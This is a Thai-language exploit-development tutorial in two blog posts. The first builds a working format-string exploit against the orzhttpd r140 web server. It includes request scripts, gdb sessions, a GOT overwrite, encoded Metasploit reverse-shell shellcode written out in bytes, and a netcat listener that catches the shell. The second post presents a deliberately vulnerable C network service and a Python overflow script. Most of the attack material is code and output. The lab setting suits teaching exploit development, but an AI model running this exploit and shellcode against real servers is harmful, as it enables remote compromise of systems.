Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)

Exploiting orzhttpd r140 (disable all security options)

2011-05-02T22:15:00.001+07:00

เราดูการเขียน exploit สำหรับโปรแกรมจริงๆ กันบางดีกว่า เดี๋ยวจะหาว่าไม่มีโปรแกรมจริงๆ เลย ตัวอย่างแรกที่จะมาให้ดูคือ orzhttpd rivision 140 ซึ่งมีคนได้เขียน exploit ไว้แล้วที่ http://www.exploit-db.com/exploits/10282/ โดยเราจะมาดูถึงปัญหาของโปรแกรมนี้ และเขียน exploit กัน โดยสมมติว่าโปรแกรม compile แบบไม่มีการป้องกันใดๆ (ถึงแม้โปรแกรมนี้จะเก่า และไม่มีการพัฒนาต่อ บวกกับไม่มีคนใช้งาน แต่อย่างน้อยเราจะได้เห็นว่าเขียน exploit ใน application จริงๆ ขนาดเล็กๆ เป็นอย่างไร)

Installation

ก่อนอื่นเราเริ่มที่ดึง source code แล้ว compile กันก่อน


$ svn export -r 140 http://orzhttpd.googlecode.com/svn/trunk/ orzhttpd
...
Exported revision 140.
$ sudo apt-get install libevent-dev libssl-dev libexpat-dev
...
$ cd orzhttpd
$ CFLAGS="-fno-stack-protector -z norelro -z execstack -D_FORTIFY_SOURCE=0" make linux
...
log.c: In function ‘serverlog’:
log.c:34: warning: format not a string literal and no format arguments
...

เมื่อ compile เสร็จแล้ว ก็ให้ตั้งค่าตามนี้ (ไฟล์ config.xml สำหรับคนไม่อยากแก้เอง)


$ sed -e 's/>www</>www-data</' config.xml.sample > config.xml
$ sudo mkdir -p /usr/local/www/log /usr/local/www/data
$ sudo chown www-data: /usr/local/www/log
$ sudo touch /usr/local/www/data/index.html

เมื่อทุกอย่างพร้อมแล้ว ก็เริ่ม orzhttpd ด้วยคำสั่ง


$ sudo ./orzhttpd -f config.xml

Vulnerability

เรามาดูปัญหาของโปรแกรม โดยผมจะอาศัยข้อมูลที่มีอยู่แล้วใน internet เพื่อความรวดเร็ว จาก svn log ที่ http://code.google.com/p/orzhttpd/source/detail?r=141 จะเห็นว่าปัญหาอยู่ใน log.c และเมื่อเราดู diff จะเห็นว่ามีการแก้ไขอยู่ 2 บรรทัด คือบรรทัดของคำสั่ง vsprintf กับ fprintf


    if (format != NULL)
    {
        va_start(ap, format);
        vsprintf(buf, format, ap); // ไม่มีการกำหนดว่าให้ใส่ข้อมูล buf ได้เท่าไร ==> buffer overflow
        va_end(ap);
    }

    fprintf(log, buf); // นำข้อมูลมาใช้เป็น format string ==> format string bug
    fflush(log);

โดยในโปรแกรมนี้ ผมจะ exploit ที่ format string bug เนื่องจากถ้าเราทำ stack based buffer overflow เราจะต้องมีการเขียนทับตัวแปร ap และ log ก่อนจะสามารถเขียนทับ saved eip ได้ ทำให้เราต้องเขียนค่าที่สามารถทำให้โปรแกรมทำงานจนจบ function เราถึงจะควบคุม eip ได้ ซึ่งจะยากกว่าการใช้ format string bug ที่สามารถเขียนทับที่ไหนก็ได้เลย

เรามาดูกันก่อนดีกว่าว่า ส่วนโค้ดที่มีปัญหาในฟังก์ชัน serverlog() โดนเรียกเมื่อไร จากไหน จะเห็นว่า


$ grep -n serverlog *.c
log.c:7:serverlog(LOG_TYPE_t type, const char *format, ...)
log.c:84:    server->log = serverlog;

จะเห็นว่า serverlog function นั้น ไม่โดนเรียกโดยตรง แต่ใช้ pointer to function server->log เก็บ address ของ serverlog function และเมื่อหาต่อ


$ grep -n 'server->log' *.c
log.c:84:    server->log = serverlog;
log.c:86:    if (server->log == NULL)
log.c:87:       error_exit("server->log == NULL");
log.c:136:      server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s?%s %s\" %d %d \"%s\"\n",
log.c:145:      server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s %s\" %d %d \"%s\"\n",
request.c:60:    server->log(ERROR_LOG, "%s\n", conn->read_buf.buf);
status.c:160:   server->log(ERROR_LOG, "%s", response);

ถ้าเราดูใน request.c และ status.c จะเห็นว่า code ที่เรียก server->log() นั้นอยู่ใน "#ifdef HTTPD_DEBUG" ซึ่งจะไม่ถูก compile อยู่ใน binary ของเรา ดังนั้นเรามาดูที่ log.c จะอยู่ในฟังก์ชัน log_request


void
log_request(CONN_t *conn)
{
#ifdef  IPV6_HTTPD
    char            address[INET6_ADDRSTRLEN];
#else
    char            address[INET_ADDRSTRLEN];
#endif
    char            datemsg[30];
    int             ret;

    if (conn->status.st == HTTP_STATUS_400)
        return;

    if ((ret = get_IP((struct sockaddr *)&conn->cin, server->salen, address, sizeof(address))) != 0)
    {
        *address = '\0';
#if 0
        fprintf(stderr, "getnameinfo error: %s\n", gai_strerror(ret));
#endif
    }

    if (conn->request.uri.query)
        server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s?%s %s\" %d %d \"%s\"\n",
                address, conn->request.uri.authority,
                log_time(datemsg, sizeof(datemsg)),
                http_method_str(conn),
                conn->request.uri.path_raw, conn->request.uri.query,
                http_version(conn),
                conn->status.st, conn->response.content_length,
                conn->request.user_agent);
    else
        server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s %s\" %d %d \"%s\"\n",
                address, conn->request.uri.authority,
                log_time(datemsg, sizeof(datemsg)),
                http_method_str(conn),
                conn->request.uri.path_raw,
                http_version(conn),
                conn->status.st, conn->response.content_length,
                conn->request.user_agent);
}

จะเห็นว่าฟังก์ชันชื่อ log_request และเมื่อดูจาก arguments ต่างๆที่เรียก serverlog function ทำให้เดาได้ว่า ทุกๆ request ที่มีการ log จะมีการเรียกโค้ดที่มีปัญหา

เมื่อดู argument conn->request.uri.path_raw ซึ่งเดาได้ว่าคือ request ของเรามีการส่งผ่านไปที่ serverlog function และเมื่อถึงบรรทัด vsprintf ซึ่งไม่มีการกำหนดขนาดของ buf ทำให้เมื่อเราส่ง request ที่มีขนาดยาวๆ จะทำให้เกิด buffer overflow แต่เราจะไม่ทำให้เกิด buffer overflow ในกรณีนี้

เมื่อโปรแกรมทำงานถึงบรรทัด fprintf เพื่อที่จะเขียน log ลงในไฟล์ สำหรับคนที่ยังไม่มีประสบการณ์ อาจจะมองว่าตัวแปร buf นั้น โปรแกรมควมคุบเอาไว้ แต่จริงๆ แล้วถ้าเราส่ง request ที่เป็น format string เช่น "%x" จะทำให้ตัวแปร buf มี format string ที่มาจากเรา และเมื่อโปรแกรมเรียก fprintf ที่ใช้ buf เป็น format string ทำให้โปรแกรมแปล format string ที่เราส่งเข้าไป

Exploitation

ถึงเวลาเริ่มเขียน exploit กันแล้ว เรามาลองเขียนโปรแกรมเล็กๆ (ex12_orzhttpd_1.py) เพื่อที่จะดูผลลัพธ์กันก่อน


import socket

target_ip = "127.0.0.1"
target_port = 80
def send_request(ip, port, request):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.send(request)
    msg = s.recv(8192)
    s.close()
    return msg

print send_request(target_ip, target_port, "GET /index.html HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "GET %x%x HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "GET /%x%x HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "PWN /%x%x HTTP/1.0\r\n\r\n")


$ python ex12_orzhttpd_1.py
HTTP/1.0 200 OK
Date: Mon, 02 May 2011 08:03:25 GMT
Connection: close
Server: OrzHTTPd/0.0.6 (Linux)
Content-Type: text/html
Content-Length: 0
Last-Modified: Fri, 15 Apr 2011 08:57:50 GMT


HTTP/1.0 400 Bad Request

HTTP/1.0 404 Not Found

HTTP/1.0 501 Not Implemented

และเมื่อดูที่ log


$ cat /usr/local/www/log/orzhttpd.access.log
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /index.html HTTP/1.0" 200 0 "-"
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 501 0 "-"

จะเห็นว่าเรา request ไป 4 ครั้ง แต่มี log เพียงแค่ 3 อัน ซึ่งเมื่อดูแล้ว จะไม่มี log ของ return code 400 ซึ่งเป็นที่ request ที่ 2 "GET %x%x" ส่วนใน request ที่ 3 เป็นการยืนยัน format string bug และใน request ที่ 4 ถึงแม้ว่าเราจะใช้ HTTP method โปรแกรมก็ยังคง log และถ้าเราลองส่ง request จากเครื่องอื่น (IP: 192.168.1.101) จะเห็น log เป็น


192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /index.html HTTP/1.0" 200 0 "-"
192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 501 0 "-"

จะเห็นว่าใน log จะมีการใส่ IP ของเครื่อง client ไว้ด้วย ซึ่งความยาวอาจจะมีความยาวไม่เท่ากัน โดยจะมีผลกับการอ้างตำแหน่งของ argument สำหรับ format string ที่เราจะใส่ เพราะว่า format string ของเราที่อยู่ในตัวแปร buf นั้นอยู่หลัง "GET /" ถ้าความยาวของ string ข้างหน้าไม่คงที่ จะทำให้ exploit เราทำงานได้บ้่าง ไม่ได้บ้าง (เดี๋ยวจะเห็นว่าจะจัดการกับกรณีนี้ยังไง)

เมื่อเราเห็นแล้วว่าสามารถใช้ format string bug ได้ ขั้นตอนต่อไปคือหา ตำแหน่งของ argument ที่อยู่ในส่วนที่เราควบคุม และจะใส่ address ที่จะเขียนลงไป (ex12_orzhttpd_2.py) โดยในนี้จะแสดงเฉพาะส่วนสำคัญ


for i in range(1, 25):
    print send_request(target_ip, target_port, "GET /AAAA_%d_%%%d$x HTTP/1.0\r\n\r\n" % (i,i))

และเมื่อดูใน log จะได้


127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_1_bfffe528 HTTP/1.0" 404 0 "-"
...
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_14_20544547 HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_15_4141412f HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_16_36315f41 HTTP/1.0" 404 0 "-"
...

จะเห็นว่าตำแหน่ง argument ของ format string ที่เราเริ่มควบคุมได้คือ 15 แต่ถ้าผมลองต่อจาก IP 192.168.1.101 ดูจะได้ log เป็น


...
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_15_20544547 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_16_4141412f HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_17_37315f41 HTTP/1.0" 404 0 "-"
...

คราวนี้อยู่ที่ตำแหน่ง 16 เลื่อนไปหนึ่ง แล้วเราจะทำให้ exploit เรา reliable ได้ไงละเนี่ย ง่ายๆ คือเราต้องรู้ IP ของเราที่ server เห็นก่อนที่จะ exploit แล้วเราจะต้องนำความยาวมาคำนวณ ความ IPv4 address ที่สั้นที่สุดที่เป็นไปได้คือ "x.x.x.x" ซึ่งยาว 7 และ IPv4 address ที่ยาวที่สุดที่เป็นไปได้คือ "xxx.xxx.xxx.xxx" ซึ่งยาว 15

เราได้ตำแหน่ง argument ของ format string ของ "192.168.1.101" ซึ่งยาว 13 ดังนั้นถ้า IP address ยาว 15 ตัวอักษรเราจะใส่ "/A" สำหรับ padding และใช้ตำแหน่ง 17,18 สำหรับอ้างอิงใน format string ของเรา ส่วนถ้า IP address ที่สั้นกว่านี้ เราะจะ pad ด้วย A ชดเชยความยาว IP address ที่สั้นลง ซึ่งจะโค้ดเป็นแบบนี้ (ex12_orzhttpd_3.py)


my_pub_ip = "127.0.0.1"
# 15 is max IP address length "xxx.xxx.xxx.xxx"
req_string = "GET /A" + "A"*(15-len(my_pub_ip)) + "BBBBCCCC" + "_%17$x%18$x HTTP/1.0\r\n\r\n"
print send_request(target_ip, target_port, req_string)


127.0.0.1 - - [02/May/2011 20:52:18 +0700] "GET /AAAAAAABBBBCCCC_4242424243434343 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:51:33 +0700] "GET /AAABBBBCCCC_4242424243434343 HTTP/1.0" 404 0 "-"

เมื่อได้ตำแหน่งของ argument สำหรับ format string ต่อมาคือหาว่าเราจะเขียนทับที่ไหน โดยผมจะเขียนทับที่ GOT entry fflush เพราะว่าจะมีการเรียก fflush หลังจากการเรียก fprintf ที่เราสามารถเขียบทับค่าที่ไหนก็ได้


$ objdump -R orzhttpd | grep fflush
0804ea04 R_386_JUMP_SLOT   fflush

สำหรับค่าที่จะใส่ใน fflush GOT entry นั้นคือ address ของ shellcode ของเรา ดังนั้นเราต้องหา address โดยลองส่ง request เข้าไปพร้อมกับ format string เพื่อทำการทดสอบ (ex12_orzhttpd_4.py)


req_fmt = pack("<II", 0x0804ea06, 0x0804ea04) + "%17$hn%18$hn"
sc = "\x90"*1024
print send_request(target_ip, target_port, req_padding + req_fmt + sc + " HTTP/1.0\r\n\r\n")

เราจะ gdb เพื่อดูค่า โดยเราจะตั้ง breakpoint ไว้ที่ fflush


$ objdump -D orzhttpd | grep -A 10 vsprintf
...
--
 804a8dc:       e8 b3 e8 ff ff          call   8049194 <vsprintf@plt>
 804a8e1:       83 c4 10                add    $0x10,%esp
...
 804a8f6:       e8 d9 e9 ff ff          call   80492d4 <fflush@plt>
 804a8fb:       83 c4 10                add    $0x10,%esp
$ sudo gdb -p `ps -C orzhttpd -o pid=`
...
0x0012d422 in __kernel_vsyscall ()
(gdb) b *0x804a8f6
Breakpoint 1 at 0x804a8f6
(gdb) c
Continuing.

Breakpoint 1, 0x0804a8f6 in ?? ()
(gdb) x/x 0x0804ea04
0x804ea04:      0x00400040    # จะเห็นว่าจำนวนที่ print ไปโดย default คือ 0x40
(gdb) x/64x $esp
...
0xbfffe6d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffe6e0:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb) q

หลังจากออกจาก gdb ต้องการทำเริ่มโปรแกรม orzhttpd ใหม่ เพราะโปรแกรมนี้ทำงานแบบ thread ซึ่งถ้าเกิดการ crash ขึ้นมาจะทำให้ทั้ง process จบการทำงาน และเมื่อได้ address ที่เราต้องการเราจะทำการใส่เข้าไปใน exploit พร้อมกับ shellcode ที่กับการ reverse shell มาหาเรา

ถ้าใครลองเอา shellcode ที่ผมเคยเขียนไว้ใส่เข้าไป จะเห็นว่าโปรแกรม crash เพราะ shellcode ที่ผมให้ไปนั้นมี badchar ซึ่งที่เห็นเป็นอันแรกคือ 0x00 จากข้อมูลเราที่ต้องผ่าน vsprintf และที่เห็นๆ กับ HTTP protocol คือ 0x0a (\n), 0x0d (\r) และ 0x20 (ช่องว่าง) โดยในครั้งนี้ผมจะใช้ shellcode จาก metasploit พร้อมกับใช้ msfencode เพื่อหลีกเลี่ยง badchar


$ msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -b '\x00\x0a\x0d\x20' -t ruby
[*] x86/shikata_ga_nai succeeded with size 98 (iteration=1)

buf =
"\xbf\xf3\x54\xe8\x0f\xda\xcb\xd9\x74\x24\xf4\x58\x31\xc9" +
"\xb1\x12\x83\xc0\x04\x31\x78\x11\x03\x78\x11\xe2\x06\x65" +
"\x33\xf8\x0b\xd5\x80\x54\xa1\xd8\x8f\xba\x85\xbb\x42\xbc" +
"\xbe\x1d\x35\xc2\x40\xa2\xc4\x5a\x28\xb3\x9a\xc4\xfb\xd9" +
"\x32\x58\xab\x94\xd2\x19\x21\xc1\x4c\x53\x35\x54\xea\xb2" +
"\x85\x58\x39\xc4\xac\xdf\x38\x95\x46\x0f\x94\x65\xfe\x27" +
"\xc5\xeb\x97\xd9\x90\x0f\x37\x75\x2a\x2e\x07\x72\xe1\x31"

สุดท้าย เราจะได้ exploit ที่ทำ reverse shell มาที่ 127.0.0.1:4444 (ex12_orzhttpd.py) และเมื่อเราใช้ nc เพื่อรอรับ shell จะได้


$ nc -nv -l 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
$

เกิดอะไรขึ้น netcat บอกว่ามี connection มาเรียบร้อยแล้ว แต่เมื่อ accepted จะเห็นว่า connection หลุดทันที เรายังไม่ได้ทำการ disconnect เลย ถ้าเราลองพิมพ์คำสั่ง id ไว้ก่อนจะได้


$ nc -nv -l 4444
id      # <=== พิมพ์ไว้ก่อนจะยิง exploit พร้อมกับกด enter
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
uid=33(www-data) gid=33(www-data) groups=0(root)
$

เหมือนกับว่า connection นี้จะ disconnect ทันทีที่ไม่มีข้อมูล โดยเราสามารถตรวจสอบว่าเกิดอะไรขึ้นด้วยคำสั่ง strace ซึ่งเป็นคำสั่งสำหรับ trace system call (อย่าลืมให้รัน nc ให้ listen connection ด้วยนะครับ)


$ sudo strace -p `ps -C orzhttpd -o pid=`
clock_gettime(CLOCK_MONOTONIC, {6046, 379087659}) = 0
epoll_wait(6, 806ea88, 32, -1)          = -1 EINTR (Interrupted system call)
--- SIGALRM (Alarm clock) @ 0 (0) ---
time(NULL)                              = 1304348030
sigreturn()                             = ? (mask now [])
clock_gettime(CLOCK_MONOTONIC, {6047, 379100497}) = 0
...
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
...
read(0, 0x805d600, 8192)                = ? ERESTARTSYS (To be restarted)
--- SIGALRM (Alarm clock) @ 0 (0) ---
Process 2040 detached

จะเห็นว่าจะมีการใช้ SIGALRM ใน orzhttpd และหลังจาก process ทำการ execve เพื่อเปลี่ยน process ตัวเองเป็น /bin/sh แล้ว SIGALRM ยังคงทำงานอยู่ และเมื่อ shell เราที่ทำคำสั่ง read เพื่อคอยรับคำสั่งจากเราโดน interrupt ทำให้ /bin/sh คิดว่า input หมดแล้ว และทำการจบโปรแกรม ทำให้ connection เราหลุด

วิธีแก้ปัญหานี้ อาจทำได้ด้วยเพิ่ม shellcode สำหรับ disable SIGALRM เข้าไป โดยให้ ignore SIGALRM หรือวิธีง่ายกว่านั้นคือใช้คำสั่ง "trap "" 14" (14 คือหมายเลขของ SIGALRM) ใน shell หลังจากที่เราได้ทันที เพื่อให้ ignore SIGALRM

คำสั่ง trap นี้เราอาจจะพิมพ์ไว้ก่อน หลังจากที่เรารัน netcat หรือใช้ echo แล้ว pipe ไปที่ stdin ของ netcat ก็ได้ แต่ถ้าเราใช้ pipe เราจะต้องมีอีกคำสั่งหนึ่งเพื่อให้ pipe ยังคงอยู่ และ stdin สำหรับ netcat ไม่จบ ซึ่งโดยปกติจะใช้คำสั่ง cat


$ (echo 'trap "" 14';cat) | nc -nv -l 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=33(www-data) gid=33(www-data) groups=0(root)
exit

$

ได้ exploit สำหรับ orzhttpd แล้ว หวังว่าไม่ยากเกินไปนะครับ :)

Integer Overflow

2011-04-17T00:54:00.001+07:00

ในหัวข้อนี้ เรามาดูอีกข้อผิดพลาดหนึ่งที่พบกันคือ Integer Overflow ซึ่งโดยส่วนมากที่พบคือ ปัญหาเกี่ยวกับการเปลี่ยนค่า signed (มีค่าได้ทั้งบวกและลบ) จาก unsigned (มีค่าเป็นบวกได้เท่านั้น)

ก่อนอื่น เรามาดูค่าที่น้อยที่สุด และมากที่สุดของตัวแปรแต่ละชนิดเป็นดังนี้

ชนิด	MIN	MAX
char	-128	127
unsigned char	0	255
short	-32768	32767
unsigned short	0	65535
int (32 bits)	−2147483648	2147483647
unsigned int	0	4294967295

รูปแบบแรกที่พบ เนื่องจากในระบบ 2's complement ที่ใช้กันอยู่ในคอมพิวเตอร์นั้น ตัวแปร char ถ้ามีค่า 127 แล้วบวกกับ 1 จะมีค่าเท่ากับ -128 ซึ่งเกิดการ overflow ของตัวเลข

อีกรูปแบบหนึ่ง ที่อาจจะเจอคือการส่ง ผ่านตัวแปรที่ function รับเป็นแบบ unsigned แต่ตอนแรกเราใช้เป็นแบบ signed เช่น


void process(char *buffer, unsigned int len)
{
    // do something
}

void foo()
{
    int len;
    char buffer[2048];

    // get data and len from somewhere

    // process data only if len is less than 2048
    if (len < 2048)
        process(buffer, (unsigned int) len);
}

จากโค้ดข้างบน จะเห็นว่า len นั้นเป็นแบบ signed int ทำให้บรรทัด "if (len < 2048)" เปรียบเทียบแบบ signed ซึ่งถ้าเราสามารถกำหนดค่า len ให้มีค่าเป็นลบได้ โปรแกรมจะเรียก process function ซึ่งมีการรับค่าเป็นแบบ unsigned int ทำให้ใน process function จะเห็นค่า len เป็นค่าที่มากกว่า 2147483647 และอาจทำให้เราสามารถควบคุมโปรแกรมได้

หมดแล้วสำหรับหลักการ Integer Overflow จะเห็นว่าเรื่องนี้จะดูง่ายๆ แต่ในความเป็นจริงแล้ว bug ประเภทนี้ ส่วนมากที่เจอ จะค่อนข้าง tricky

สำหรับตัวอย่างครั้งนี้ ผมจะทำเป็นแบบ remote exploit ซึ่งเดี๋ยวจะเห็นว่าวิธีการ exploit จะเหมือนกับ local exploit ที่ผ่านๆ มา เพียงแค่เราต้องเปลี่ยน shellcode ที่จะใช้ให้เป็นเกี่ยวกับ network เรามาดูกันเลยดีกว่า โดยผมจะแสดงในนี้เฉพาะส่วนที่สำคัญ (ex_11_1.c)


/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_11_1 ex_11_1.c */
// ... include ...

char datalen, len;

void do_encrypt(char *buffer, char len)
{
    int i;
    for (i = 0; i < len; i++)
        buffer[i] ^= 0xaf;
}

void handle_client(int fd)
{
    char buffer[128]; // maximum value of char is 127

    // get data len
    if (recv(fd, &datalen, 1, 0) != 1) {
        close(fd);
        return;
    }

    len = 0;
    while (len < datalen)
        len += recv(fd, buffer + len, datalen, 0);

    do_encrypt(buffer, datalen);
    send(fd, buffer, datalen, 0);
    close(fd);
}
// ... main ...

ในส่วน main คือ code สำหรับทำตัวเองให้เป็น daemon process และคอยรับ connection ที่ port 55555 และเมื่อมี client มาต่อ จะทำการ fork แล้วเรียก handle_client function

เรามาดูการทำงานของ handle_client() กันก่อน จะเห็นโปรแกรมรับข้อมูล 1 byte จาก client เพื่อใช้สำหรับระบุว่าข้อมูลจะมีความยาวเท่าไร หลังจากนั้นทำการรับข้อมูลจาก client จนกระทั่ง len มีค่ามากว่าหรือเท่ากับ datalen หลังจากนั้นโปรแกรมจะเรียก do_encrypt function ซึ่งผมได้ใช้วิธีการ xor กับค่า 0xaf และเมื่อจบ do_encrypt function โปรแกรมจะทำการส่งข้อมูลที่รับกลับมา

ผมหวังว่าหลายๆ คนจะสังเกตเห็นปัญหาของโปรแกรมนี้แล้ว จุดที่น่าสังเกตของโปรแกรมนี้คือ

เราสามารถที่จะส่งค่า datalen เป็นลบได้ แต่จะไม่มีผลกับโปรแกรม เพราะ len เริ่มต้นเป็น 0 แล้วโปรแกรมจะไม่ทำงานใดๆ
len เป็นตัวแปรชนิด char ซึ่งสามารถเกิด integer overflow ได้ และเมื่อเกิด overflow ที่ recv() จะทำให้ while loop เป็นจริงและทำงานต่อ
ที่ recv() ได้ระบุจำนวนข้อมูลที่จะรับ (argument ที่ 3)เป็น datalen ทำให้ถ้าข้อมูลมาครั้งแรกน้อยกว่า datalen ทำให้ครั้งต่อไปโปรแกรมอาจจะรับข้อมูลเกินที่ระบุไว้ใน datalen ซึ่งโค้ดที่ถูกต้องควรเป็น datalen - len

ดังนั้น ถ้าเราส่งค่า datalen เป็น 127 แล้วเราส่งข้อมูลครั้งแรกให้ยาว 126 bytes จะทำให้ข้อมูลที่เราส่งครั้งถัดไปสามารถเขียนเกินส่วนของ buffer ไปทับ saved eip ได้

เรามาลองส่งข้อมูลกันก่อนสักรอบดีกว่า โดยผมจะใช้ nc ในการต่อ และใช้ "\n" (Enter) สำหรับ datalen ค่า 10


$ ./ex_11_1    # สำหรับคนที่ยังไม่ได้รัน
$ nc -v 127.0.0.1 55555
Connection to 127.0.0.1 55555 port [tcp/*] succeeded!

1234567890
▒▒▒▒▒▒▒▒▒▒

โปรแกรมทำงานปกติ แต่ถ้าเราตต้องการจะ debug ละ จะเห็นว่าโปรแรมนี้ จะมีการ fork process ลูก แต่ gdb ของเราทำการ debug process แม่อยู่ วิธีการ debug ด้วย gdb คือให้คำสั่ง "set follow-fork-mode child" ทำได้ตามนี้ (หรือใส่ไว้ใน gdbinit)


$ ps -e | grep ex_11_1
 1287 ?        00:00:00 ex_11_1
$ gdb -q -p 1287
Attaching to process 1287
...
Loaded symbols for /lib/ld-linux.so.2
0x0012d422 in __kernel_vsyscall ()
(gdb) disas handle_client
...
   0x080486e5 <+121>:   mov    %eax,(%esp)
   0x080486e8 <+124>:   call   0x80484bc <recv@plt>
...
   0x080486fe <+146>:   movzbl 0x8049ac4,%edx  # len อยู่ที่ 0x8049ac4
   0x08048705 <+153>:   movzbl 0x8049ac5,%eax  # datalen อยู่ที่ 0x8049ac5
   0x0804870c <+160>:   cmp    %al,%dl
   0x0804870e <+162>:   jl     0x80486b6 <handle_client+74>
...
   0x0804871e <+178>:   lea    -0x88(%ebp),%eax  # buffer อยู่ที่ ebp-0x88
   0x08048724 <+184>:   mov    %eax,(%esp)
   0x08048727 <+187>:   call   0x8048634 <do_encrypt>
...
   0x08048762 <+246>:   leave
   0x08048763 <+247>:   ret
End of assembler dump.
(gdb) b *0x08048727
Breakpoint 1 at 0x8048727
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
# ... เปิดอีก terminal ใช้ nc ต่อเข้ามาแบบข้างบน
[New process 1401]
[Switching to process 1401]

Breakpoint 1, 0x08048727 in handle_client ()
(gdb) x/4x $esp
0xbffff660:     0xbffff670      0x0000000a      0x0000000a      0x00000000
(gdb) x/s 0xbffff670
0xbffff670:      "1234567890)"
(gdb) c
Continuing.

Program exited normally.

หลังจาก debug โปรแกรมได้แล้ว เรามาลองเขียนโปรแกรมเล็กๆ โดยผมจะใช้ python เพื่อส่งข้อมูลที่ทำให้เกิด buffer overflow แบบที่คิดไว้ข้างบน โดยครั้งแรกจะได้


import socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

s.send("\x7f") # send datalen (127)
s.send("J"*126) # send junk 126 bytes

# sleep 1 sec before sending again, so the data is not merged in 1 recv
time.sleep(1)

s.send("A"*126)
s.close()


$ gdb -q -p 1287
...
(gdb) b *0x080486e8  # set breakpoint ที่ recv() ใน while loop
Breakpoint 1 at 0x080486e8
(gdb) condition 1 *((char*)0x8049ac4)==126  # กำหนดให้ break เมื่อ len==126
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
# ... ต่อด้วยโปรแกรม python ที่เขียนขึ้นมา
[New process 1461]
[Switching to process 1461]

Breakpoint 1, 0x080486e8 in handle_client ()
(gdb) x/x $ebp-0x88
0xbffff670:     0x4a4a4a4a    # buffer อยู่ที่ address 0xbffff670
(gdb) x/4x $esp   # list argument ของ recv
0xbffff660:     0x00000004      0xbffff6ee      0x0000007f      0x00000000
(gdb) x/8x $ebp-16
0xbffff6e8:     0x4a4a4a4a      0x00294a4a      0x00000000      0x00000000
0xbffff6f8:     0xbffff738      0x080488a5      0x00000004      0x00000000
(gdb) ni
0x080486ed in handle_client ()
(gdb) x/8x $ebp-16
0xbffff6e8:     0x4a4a4a4a      0x41414a4a      0x41414141      0x41414141
0xbffff6f8:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) d 1
(gdb) b *0x080486e8
Breakpoint 2 at 0x80486e8
(gdb) c
Continuing.

Breakpoint 2, 0x080486e8 in handle_client ()
(gdb) x/4x $esp   # list argument ของ recv
0xbffff660:     0x41414141      0xbffff66c      0x0000007f      0x00000000
(gdb) k
Kill the program being debugged? (y or n) y

ให้สังเกตที่ arguemnt ของ recv จะเห็นว่าค่า fd จากที่ครั้งแรกเป็น 4 กลายเป็น 0x41414141 เนื่องจากเรา overwrite ค่า fd ที่เป็น argument ของ handle_client function (อยู่ใน saved eip) และทำให้ recv function จะ return -1 ดังนั้นวิธีหนึ่งที่ทำได้คือ overflow ให้เขียนทับ eip แล้วใน while loop จะลบค่า len ไปทีละ 1 จากค่าติดลบจนเป็น 127 ที่เท่ากับ datalen

แต่ถ้าโปรแกรมมีการ check ว่า recv return -1 หรือไม่ เราก็จะไม่สามารถใช้วิธีข้างบนได้ (และผมก็ไม่แสดงให้ดูนะ) แต่เราต้องทำให้ fd นั้นเป็นค่าของ socket ที่ต่ออยู่จริงๆ แล้วค่ามันคืออะไรละ โดย default ของโปรแกรม 0,1,2 เป็น stdin, stdout, stderr ตามลำดับ และ server socket ที่สร้างมาสำหรับรับ connection จาก client ก็จะเป็น 3 ดังนั้น client socket ที่ต่อใหม่ก็จะเป็น 4 และถ้าดูที่โปรแกรมตัว parent ที่ใช้รับ connection จะ close client fd ก่อน แล้วค่อยไปรับ connection ใหม่ ทำให้ client ที่ต่อใหม่อีกรอบก็ยังคงเป็น 4 และเมื่อรู้ว่าค่า client fd เป็น 4 ตลอด ดังนั้นเราสามารถเขียนทับค่านี้ด้วย 4 เพื่อให้โปรแกรมทำงานต่อได้ถูกต้อง

